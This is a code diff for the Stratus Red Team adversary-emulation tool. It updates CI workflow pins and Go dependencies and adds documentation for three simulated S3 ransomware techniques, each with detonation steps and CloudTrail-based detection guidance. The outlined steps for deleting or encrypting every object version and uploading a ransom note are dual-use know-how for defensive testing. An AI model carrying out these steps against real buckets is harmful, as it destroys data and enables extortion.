diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml
index d5cf98dc..0367c2e3 100644
--- a/.github/workflows/docker.yml
+++ b/.github/workflows/docker.yml
@@ -20,7 +20,7 @@ jobs:
packages: write
steps:
- name: Harden Runner
- uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604
+ uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09
with:
egress-policy: block
allowed-endpoints: >
@@ -34,6 +34,7 @@ jobs:
proxy.golang.org:443
registry-1.docker.io:443
storage.googleapis.com:443
+ *.actions.githubusercontent.com:443
- name: Checkout
uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9
diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml
index 8b3a1465..22fb16dc 100644
--- a/.github/workflows/docs.yml
+++ b/.github/workflows/docs.yml
@@ -19,13 +19,14 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
- uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604
+ uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09
with:
egress-policy: block
allowed-endpoints: >
files.pythonhosted.org:443
github.com:443
pypi.org:443
+ *.actions.githubusercontent.com:443
- uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9
- uses: actions/setup-python@61a6322f88396a6271a6ee3565807d608ecaddd1
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 34096570..b1528010 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -19,7 +19,7 @@ jobs:
contents: write
steps:
- name: Harden Runner
- uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604
+ uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09
with:
egress-policy: block
allowed-endpoints: >
@@ -31,6 +31,7 @@ jobs:
storage.googleapis.com:443
uploads.github.com:443
sum.golang.org:443
+ *.actions.githubusercontent.com:443
- name: Checkout
uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9
diff --git a/.github/workflows/static-analysis.yml b/.github/workflows/static-analysis.yml
index 83906421..da8ec450 100644
--- a/.github/workflows/static-analysis.yml
+++ b/.github/workflows/static-analysis.yml
@@ -17,7 +17,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
- uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604
+ uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09
with:
egress-policy: block
allowed-endpoints: >
@@ -25,6 +25,7 @@ jobs:
proxy.golang.org:443
storage.googleapis.com:443
sum.golang.org:443
+ *.actions.githubusercontent.com:443
- uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9
with:
fetch-depth: 1
diff --git a/.github/workflows/terraform-lint.yml b/.github/workflows/terraform-lint.yml
index 2484e5d1..79428745 100644
--- a/.github/workflows/terraform-lint.yml
+++ b/.github/workflows/terraform-lint.yml
@@ -17,7 +17,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
- uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604 # tag:v2.5.0
+ uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 # tag:v2.5.1
with:
egress-policy: audit
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index b2ab7431..4ee6844a 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -16,13 +16,14 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
- uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604
+ uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09
with:
egress-policy: block
allowed-endpoints:
github.com:443
proxy.golang.org:443
storage.googleapis.com:443
+ *.actions.githubusercontent.com:443
- name: Checkout repository
uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9
@@ -49,7 +50,7 @@ jobs:
proxy.golang.org:443
registry-1.docker.io:443
storage.googleapis.com:443
-
+ *.actions.githubusercontent.com:443
- name: Checkout repository
uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9
diff --git a/docs/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion.md b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion.md
new file mode 100755
index 00000000..005f7558
--- /dev/null
+++ b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion.md
@@ -0,0 +1,91 @@
+---
+title: S3 Ransomware through batch file deletion
+---
+
+# S3 Ransomware through batch file deletion
+
+
+
+
+Platform: AWS
+
+## MITRE ATT&CK Tactics
+
+
+- Impact
+
+## Description
+
+
+Simulates S3 ransomware activity that empties a bucket through batch deletion, then uploads a ransom note.
+
+Warm-up:
+
+- Create an S3 bucket, with versioning enabled
+- Create a number of files in the bucket, with random content and extensions
+
+Detonation:
+
+- List all available objects and their versions in the bucket
+- Delete all objects in the bucket in one request, using [DeleteObjects](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObjects.html)
+- Upload a ransom note to the bucket
+
+Note: The attack does not need to disable versioning, which does not protect against ransomware. This attack removes all versions of the objects in the bucket.
+
+References:
+
+- [The anatomy of a ransomware event targeting S3 (re:Inforce, 2022)](https://d1.awsstatic.com/events/aws-reinforce-2022/TDR431_The-anatomy-of-a-ransomware-event-targeting-data-residing-in-Amazon-S3.pdf)
+- [The anatomy of ransomware event targeting data residing in Amazon S3 (AWS Security Blog)](https://aws.amazon.com/blogs/security/anatomy-of-a-ransomware-event-targeting-data-in-amazon-s3/)
+- [Ransomware in the cloud](https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82)
+- https://www.firemon.com/what-you-need-to-know-about-ransomware-in-aws/
+- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate aws.impact.s3-ransomware-batch-deletion
+```
+## Detection
+
+
+You can detect ransomware activity by identifying abnormal patterns of objects being downloaded or deleted in the bucket.
+In general, this can be done through [CloudTrail S3 data events](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-object-level-tracking) (DeleteObject
, DeleteObjects
, GetObject
),
+[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects
),
+or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior)
, [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)
).
+
+Sample DeleteObjects
event, shortened for readability:
+
+```json hl_lines="3 8"
+{
+ "eventSource": "s3.amazonaws.com",
+ "eventName": "DeleteObjects",
+ "eventCategory": "Data"
+ "managementEvent": false,
+ "readOnly": false
+ "requestParameters": {
+ "bucketName": "target-bucket",
+ "Host": "target-bucket.s3.us-east-1.amazonaws.com",
+ "delete": "",
+ "x-id": "DeleteObjects"
+ },
+ "responseElements": null,
+ "resources": [
+ {
+ "type": "AWS::S3::Object",
+ "ARNPrefix": "arn:aws:s3:::target-bucket/"
+ },
+ {
+ "accountId": "012345678901",
+ "type": "AWS::S3::Bucket",
+ "ARN": "arn:aws:s3:::target-bucket"
+ }
+ ],
+ "eventType": "AwsApiCall",
+ "recipientAccountId": "012345678901"
+}
+```
+
+Note that DeleteObjects
does not indicate the list of files deleted, or how many files were removed (which can be up to 1'000 files per call).'
+
+
diff --git a/docs/attack-techniques/AWS/aws.impact.s3-ransomware-client-side-encryption.md b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-client-side-encryption.md
new file mode 100755
index 00000000..998bcd69
--- /dev/null
+++ b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-client-side-encryption.md
@@ -0,0 +1,86 @@
+---
+title: S3 Ransomware through client-side encryption
+---
+
+# S3 Ransomware through client-side encryption
+
+
+
+
+Platform: AWS
+
+## MITRE ATT&CK Tactics
+
+
+- Impact
+
+## Description
+
+
+Simulates S3 ransomware activity that encrypts files in a bucket with a static key, through S3 [client-side encryption](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingClientSideEncryption.html) feature.
+Warm-up:
+
+- Create an S3 bucket
+- Create a number of files in the bucket, with random content and extensions
+
+Detonation:
+
+- List all objects in the bucket
+- Overwrite every file in the bucket with an encrypted version, using [S3 client-side encryption](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingClientSideEncryption.html)
+- Upload a ransom note to the bucket
+
+References:
+
+- https://www.firemon.com/what-you-need-to-know-about-ransomware-in-aws/
+- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate aws.impact.s3-ransomware-client-side-encryption
+```
+## Detection
+
+
+You can detect ransomware activity by identifying abnormal patterns of objects being downloaded or deleted in the bucket.
+In general, this can be done through [CloudTrail S3 data events](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-object-level-tracking) (DeleteObject
, DeleteObjects
, GetObject
, CopyObject
),
+[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects
),
+or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior)
, [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)
).
+
+Sample CloudTrail event CopyObject
, when a file is encrypted with a client-side key:
+
+```json hl_lines="3 9 11 12"
+{
+ "eventSource": "s3.amazonaws.com",
+ "eventName": "CopyObject",
+ "eventType": "AwsApiCall",
+ "eventCategory": "Data",
+ "managementEvent": false,
+ "readOnly": false,
+ "requestParameters": {
+ "bucketName": "target bucket",
+ "Host": "target bucket.s3.us-east-1.amazonaws.com",
+ "x-amz-server-side-encryption-customer-algorithm": "AES256",
+ "x-amz-copy-source": "target bucket/target file.txt",
+ "key": "target file.txt",
+ "x-id": "CopyObject"
+ },
+ "responseElements": {
+ "x-amz-server-side-encryption-customer-algorithm": "AES256"
+ },
+ "resources": [
+ {
+ "type": "AWS::S3::Object",
+ "ARN": "arn:aws:s3:::target bucket/target file.txt"
+ },
+ {
+ "accountId": "012345678901",
+ "type": "AWS::S3::Bucket",
+ "ARN": "arn:aws:s3:::target bucket"
+ }
+ ]
+}
+```
+
+
diff --git a/docs/attack-techniques/AWS/aws.impact.s3-ransomware-individual-deletion.md b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-individual-deletion.md
new file mode 100755
index 00000000..b70ca231
--- /dev/null
+++ b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-individual-deletion.md
@@ -0,0 +1,88 @@
+---
+title: S3 Ransomware through individual file deletion
+---
+
+# S3 Ransomware through individual file deletion
+
+
+
+
+Platform: AWS
+
+## MITRE ATT&CK Tactics
+
+
+- Impact
+
+## Description
+
+
+Simulates S3 ransomware activity that empties a bucket through individual file deletion, then uploads a ransom note.
+
+Warm-up:
+
+- Create an S3 bucket, with versioning enabled
+- Create a number of files in the bucket, with random content and extensions
+
+Detonation:
+
+- List all available objects and their versions in the bucket
+- Delete all objects in the bucket one by one, using [DeleteObject](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObject.html)
+- Upload a ransom note to the bucket
+
+Note: The attack does not need to disable versioning, which does not protect against ransomware. This attack removes all versions of the objects in the bucket.
+
+References:
+
+- [The anatomy of a ransomware event targeting S3 (re:Inforce, 2022)](https://d1.awsstatic.com/events/aws-reinforce-2022/TDR431_The-anatomy-of-a-ransomware-event-targeting-data-residing-in-Amazon-S3.pdf)
+- [The anatomy of ransomware event targeting data residing in Amazon S3 (AWS Security Blog)](https://aws.amazon.com/blogs/security/anatomy-of-a-ransomware-event-targeting-data-in-amazon-s3/)
+- [Ransomware in the cloud](https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82)
+- https://www.firemon.com/what-you-need-to-know-about-ransomware-in-aws/
+- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate aws.impact.s3-ransomware-individual-deletion
+```
+## Detection
+
+
+You can detect ransomware activity by identifying abnormal patterns of objects being downloaded or deleted in the bucket.
+In general, this can be done through [CloudTrail S3 data events](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-object-level-tracking) (DeleteObject
, DeleteObjects
, GetObject
),
+[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects
),
+or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior)
, [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)
).
+
+Sample CloudTrail event DeleteObject
, shortened for readability:
+
+```json hl_lines="3 8 10"
+{
+ "eventSource": "s3.amazonaws.com",
+ "eventName": "DeleteObject",
+ "eventCategory": "Data",
+ "managementEvent": false,
+ "readOnly": false,
+ "requestParameters": {
+ "bucketName": "target-bucket",
+ "Host": "target-bucket.s3.us-east-1.amazonaws.com",
+ "key": "target-object-key",
+ "x-id": "DeleteObject"
+ },
+ "resources": [
+ {
+ "type": "AWS::S3::Object",
+ "ARN": "arn:aws:s3:::target-bucket/target-object-key"
+ },
+ {
+ "accountId": "012345678901",
+ "type": "AWS::S3::Bucket",
+ "ARN": "arn:aws:s3:::target-bucket"
+ }
+ ],
+ "eventType": "AwsApiCall",
+ "recipientAccountId": "012345678901"
+}
+```
+
+
diff --git a/docs/attack-techniques/AWS/aws.persistence.rolesanywhere-create-trust-anchor.md b/docs/attack-techniques/AWS/aws.persistence.rolesanywhere-create-trust-anchor.md
old mode 100644
new mode 100755
diff --git a/docs/attack-techniques/AWS/index.md b/docs/attack-techniques/AWS/index.md
index 0f6f8c38..5bad5e80 100755
--- a/docs/attack-techniques/AWS/index.md
+++ b/docs/attack-techniques/AWS/index.md
@@ -57,6 +57,15 @@ Note that some Stratus attack techniques may correspond to more than a single AT
- [Backdoor an S3 Bucket via its Bucket Policy](./aws.exfiltration.s3-backdoor-bucket-policy.md)
+## Impact
+
+- [S3 Ransomware through batch file deletion](./aws.impact.s3-ransomware-batch-deletion.md)
+
+- [S3 Ransomware through client-side encryption](./aws.impact.s3-ransomware-client-side-encryption.md)
+
+- [S3 Ransomware through individual file deletion](./aws.impact.s3-ransomware-individual-deletion.md)
+
+
## Initial Access
- [Console Login without MFA](./aws.initial-access.console-login-without-mfa.md)
diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md
index bcc9ee86..c626a841 100755
--- a/docs/attack-techniques/list.md
+++ b/docs/attack-techniques/list.md
@@ -28,6 +28,9 @@ This page contains the list of all Stratus Attack Techniques.
| [Exfiltrate EBS Snapshot by Sharing It](./AWS/aws.exfiltration.ec2-share-ebs-snapshot.md) | [AWS](./AWS/index.md) | Exfiltration |
| [Exfiltrate RDS Snapshot by Sharing](./AWS/aws.exfiltration.rds-share-snapshot.md) | [AWS](./AWS/index.md) | Exfiltration |
| [Backdoor an S3 Bucket via its Bucket Policy](./AWS/aws.exfiltration.s3-backdoor-bucket-policy.md) | [AWS](./AWS/index.md) | Exfiltration |
+| [S3 Ransomware through batch file deletion](./AWS/aws.impact.s3-ransomware-batch-deletion.md) | [AWS](./AWS/index.md) | Impact |
+| [S3 Ransomware through client-side encryption](./AWS/aws.impact.s3-ransomware-client-side-encryption.md) | [AWS](./AWS/index.md) | Impact |
+| [S3 Ransomware through individual file deletion](./AWS/aws.impact.s3-ransomware-individual-deletion.md) | [AWS](./AWS/index.md) | Impact |
| [Console Login without MFA](./AWS/aws.initial-access.console-login-without-mfa.md) | [AWS](./AWS/index.md) | Initial Access |
| [Backdoor an IAM Role](./AWS/aws.persistence.iam-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence |
| [Create an Access Key on an IAM User](./AWS/aws.persistence.iam-backdoor-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
diff --git a/docs/index.yaml b/docs/index.yaml
index cff07617..9177f1bd 100644
--- a/docs/index.yaml
+++ b/docs/index.yaml
@@ -138,6 +138,28 @@ AWS:
- Exfiltration
platform: AWS
isIdempotent: true
+ Impact:
+ - id: aws.impact.s3-ransomware-batch-deletion
+ name: S3 Ransomware through batch file deletion
+ isSlow: false
+ mitreAttackTactics:
+ - Impact
+ platform: AWS
+ isIdempotent: false
+ - id: aws.impact.s3-ransomware-client-side-encryption
+ name: S3 Ransomware through client-side encryption
+ isSlow: false
+ mitreAttackTactics:
+ - Impact
+ platform: AWS
+ isIdempotent: false
+ - id: aws.impact.s3-ransomware-individual-deletion
+ name: S3 Ransomware through individual file deletion
+ isSlow: false
+ mitreAttackTactics:
+ - Impact
+ platform: AWS
+ isIdempotent: false
Initial Access:
- id: aws.initial-access.console-login-without-mfa
name: Console Login without MFA
diff --git a/v2/go.mod b/v2/go.mod
index cf734de2..29b523c7 100644
--- a/v2/go.mod
+++ b/v2/go.mod
@@ -3,13 +3,15 @@ module github.com/datadog/stratus-red-team/v2
go 1.18
require (
+ cloud.google.com/go/compute v1.10.0
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.1.4
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.1.0
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute v1.0.0
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.0.0
- github.com/aws/aws-sdk-go-v2 v1.17.0
- github.com/aws/aws-sdk-go-v2/config v1.17.8
- github.com/aws/aws-sdk-go-v2/credentials v1.12.21
+ github.com/aws/aws-sdk-go-v2 v1.21.0
+ github.com/aws/aws-sdk-go-v2/config v1.18.37
+ github.com/aws/aws-sdk-go-v2/credentials v1.13.35
+ github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.81
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.19.1
github.com/aws/aws-sdk-go-v2/service/ec2 v1.63.1
github.com/aws/aws-sdk-go-v2/service/iam v1.18.20
@@ -17,11 +19,11 @@ require (
github.com/aws/aws-sdk-go-v2/service/organizations v1.16.13
github.com/aws/aws-sdk-go-v2/service/rds v1.26.1
github.com/aws/aws-sdk-go-v2/service/rolesanywhere v1.0.10
- github.com/aws/aws-sdk-go-v2/service/s3 v1.27.11
+ github.com/aws/aws-sdk-go-v2/service/s3 v1.38.5
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.3
github.com/aws/aws-sdk-go-v2/service/ssm v1.31.0
- github.com/aws/aws-sdk-go-v2/service/sts v1.16.19
- github.com/aws/smithy-go v1.13.3
+ github.com/aws/aws-sdk-go-v2/service/sts v1.21.5
+ github.com/aws/smithy-go v1.14.2
github.com/cenkalti/backoff/v4 v4.2.1
github.com/fatih/color v1.13.0
github.com/golang-jwt/jwt v3.2.2+incompatible
@@ -30,6 +32,7 @@ require (
github.com/jedib0t/go-pretty/v6 v6.4.0
github.com/spf13/cobra v1.6.0
github.com/stretchr/testify v1.8.0
+ google.golang.org/genproto v0.0.0-20221010155953-15ba04fc1c0e
gopkg.in/yaml.v3 v3.0.1
k8s.io/api v0.25.3
k8s.io/apimachinery v0.25.3
@@ -37,24 +40,23 @@ require (
)
require (
- cloud.google.com/go/compute v1.10.0 // indirect
github.com/Azure/azure-sdk-for-go/sdk/internal v1.0.0 // indirect
github.com/AzureAD/microsoft-authentication-library-for-go v0.5.1 // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/PuerkitoBio/purell v1.1.1 // indirect
github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 // indirect
- github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.8 // indirect
- github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.17 // indirect
- github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.24 // indirect
- github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.18 // indirect
- github.com/aws/aws-sdk-go-v2/internal/ini v1.3.24 // indirect
- github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.14 // indirect
- github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.9 // indirect
- github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.18 // indirect
- github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.17 // indirect
- github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.17 // indirect
- github.com/aws/aws-sdk-go-v2/service/sso v1.11.23 // indirect
- github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.6 // indirect
+ github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.13 // indirect
+ github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 // indirect
+ github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 // indirect
+ github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 // indirect
+ github.com/aws/aws-sdk-go-v2/internal/ini v1.3.42 // indirect
+ github.com/aws/aws-sdk-go-v2/internal/v4a v1.1.4 // indirect
+ github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.14 // indirect
+ github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.36 // indirect
+ github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 // indirect
+ github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.15.4 // indirect
+ github.com/aws/aws-sdk-go-v2/service/sso v1.13.5 // indirect
+ github.com/aws/aws-sdk-go-v2/service/ssooidc v1.15.5 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/emicklei/go-restful/v3 v3.8.0 // indirect
github.com/go-logr/logr v1.2.3 // indirect
@@ -92,7 +94,6 @@ require (
golang.org/x/term v0.5.0 // indirect
golang.org/x/time v0.0.0-20220210224613-90d013bbcef8 // indirect
google.golang.org/appengine v1.6.7 // indirect
- google.golang.org/genproto v0.0.0-20221010155953-15ba04fc1c0e // indirect
google.golang.org/protobuf v1.28.1 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
diff --git a/v2/go.sum b/v2/go.sum
index 23531027..ee5d5550 100644
--- a/v2/go.sum
+++ b/v2/go.sum
@@ -1,4 +1,5 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
+cloud.google.com/go v0.102.1 h1:vpK6iQWv/2uUeFJth4/cBHsQAGjn1iIE6AAlxipRaA0=
cloud.google.com/go/compute v1.10.0 h1:aoLIYaA1fX3ywihqpBk2APQKOo20nXsp1GEZQbx5Jk4=
cloud.google.com/go/compute v1.10.0/go.mod h1:ER5CLbMxl90o2jtNbGSbtfOpQKR0t15FOtRsugnLrlU=
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.1.4 h1:pqrAR74b6EoR4kcxF7L7Wg2B8Jgil9UUZtMvxhEFqWo=
@@ -34,40 +35,46 @@ github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkE
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
github.com/aws/aws-sdk-go-v2 v1.16.16/go.mod h1:SwiyXi/1zTUZ6KIAmLK5V5ll8SiURNUYOqTerZPaF9k=
-github.com/aws/aws-sdk-go-v2 v1.17.0 h1:kWm8OZGx0Zvd6PsOfjFtwbw7+uWYp65DK8suo7WVznw=
github.com/aws/aws-sdk-go-v2 v1.17.0/go.mod h1:SwiyXi/1zTUZ6KIAmLK5V5ll8SiURNUYOqTerZPaF9k=
-github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.8 h1:tcFliCWne+zOuUfKNRn8JdFBuWPDuISDH08wD2ULkhk=
-github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.8/go.mod h1:JTnlBSot91steJeti4ryyu/tLd4Sk84O5W22L7O2EQU=
-github.com/aws/aws-sdk-go-v2/config v1.17.8 h1:b9LGqNnOdg9vR4Q43tBTVWk4J6F+W774MSchvKJsqnE=
-github.com/aws/aws-sdk-go-v2/config v1.17.8/go.mod h1:UkCI3kb0sCdvtjiXYiU4Zx5h07BOpgBTtkPu/49r+kA=
-github.com/aws/aws-sdk-go-v2/credentials v1.12.21 h1:4tjlyCD0hRGNQivh5dN8hbP30qQhMLBE/FgQR1vHHWM=
-github.com/aws/aws-sdk-go-v2/credentials v1.12.21/go.mod h1:O+4XyAt4e+oBAoIwNUYkRg3CVMscaIJdmZBOcPgJ8D8=
-github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.17 h1:r08j4sbZu/RVi+BNxkBJwPMUYY3P8mgSDuKkZ/ZN1lE=
-github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.17/go.mod h1:yIkQcCDYNsZfXpd5UX2Cy+sWA1jPgIhGTw9cOBzfVnQ=
+github.com/aws/aws-sdk-go-v2 v1.21.0 h1:gMT0IW+03wtYJhRqTVYn0wLzwdnK9sRMcxmtfGzRdJc=
+github.com/aws/aws-sdk-go-v2 v1.21.0/go.mod h1:/RfNgGmRxI+iFOB1OeJUyxiU+9s88k3pfHvDagGEp0M=
+github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.13 h1:OPLEkmhXf6xFPiz0bLeDArZIDx1NNS4oJyG4nv3Gct0=
+github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.13/go.mod h1:gpAbvyDGQFozTEmlTFO8XcQKHzubdq0LzRyJpG6MiXM=
+github.com/aws/aws-sdk-go-v2/config v1.18.37 h1:RNAfbPqw1CstCooHaTPhScz7z1PyocQj0UL+l95CgzI=
+github.com/aws/aws-sdk-go-v2/config v1.18.37/go.mod h1:8AnEFxW9/XGKCbjYDCJy7iltVNyEI9Iu9qC21UzhhgQ=
+github.com/aws/aws-sdk-go-v2/credentials v1.13.35 h1:QpsNitYJu0GgvMBLUIYu9H4yryA5kMksjeIVQfgXrt8=
+github.com/aws/aws-sdk-go-v2/credentials v1.13.35/go.mod h1:o7rCaLtvK0hUggAGclf76mNGGkaG5a9KWlp+d9IpcV8=
+github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 h1:uDZJF1hu0EVT/4bogChk8DyjSF6fof6uL/0Y26Ma7Fg=
+github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11/go.mod h1:TEPP4tENqBGO99KwVpV9MlOX4NSrSLP8u3KRy2CDwA8=
+github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.81 h1:PQ9zoe2GEoTVSVPuNtjNrKeVPvyVPWesETMPb7KB3Fk=
+github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.81/go.mod h1:EztVLIU9xGitjdZ1TyHWL9IcNx4952FlqKJe6GLG2z4=
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.23/go.mod h1:2DFxAQ9pfIRy0imBCJv+vZ2X6RKxves6fbnEuSry6b4=
-github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.24 h1:WFIoN2kiF95/4z4HNcJ9F9B0xFV0vrPlUOf3+uNIujM=
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.24/go.mod h1:ghMzB/j2wRbPx5/4jPYxJdOtCG2ggrtY01j8K7FMBDA=
+github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 h1:22dGT7PneFMx4+b3pz7lMTRyN8ZKH7M2cW4GP9yUS2g=
+github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41/go.mod h1:CrObHAuPneJBlfEJ5T3szXOUkLEThaGfvnhTf33buas=
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.17/go.mod h1:pRwaTYCJemADaqCbUAxltMoHKata7hmB5PjEXeu0kfg=
-github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.18 h1:c2RKF0UvfdVI6epHtFjDujlbiK+VeY85dP1i4gmYc5w=
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.18/go.mod h1:fkQKYK/jUhCL/wNS1tOPrlYhr9vqutjCz4zZC1wBE1s=
-github.com/aws/aws-sdk-go-v2/internal/ini v1.3.24 h1:wj5Rwc05hvUSvKuOF29IYb9QrCLjU+rHAy/x/o0DK2c=
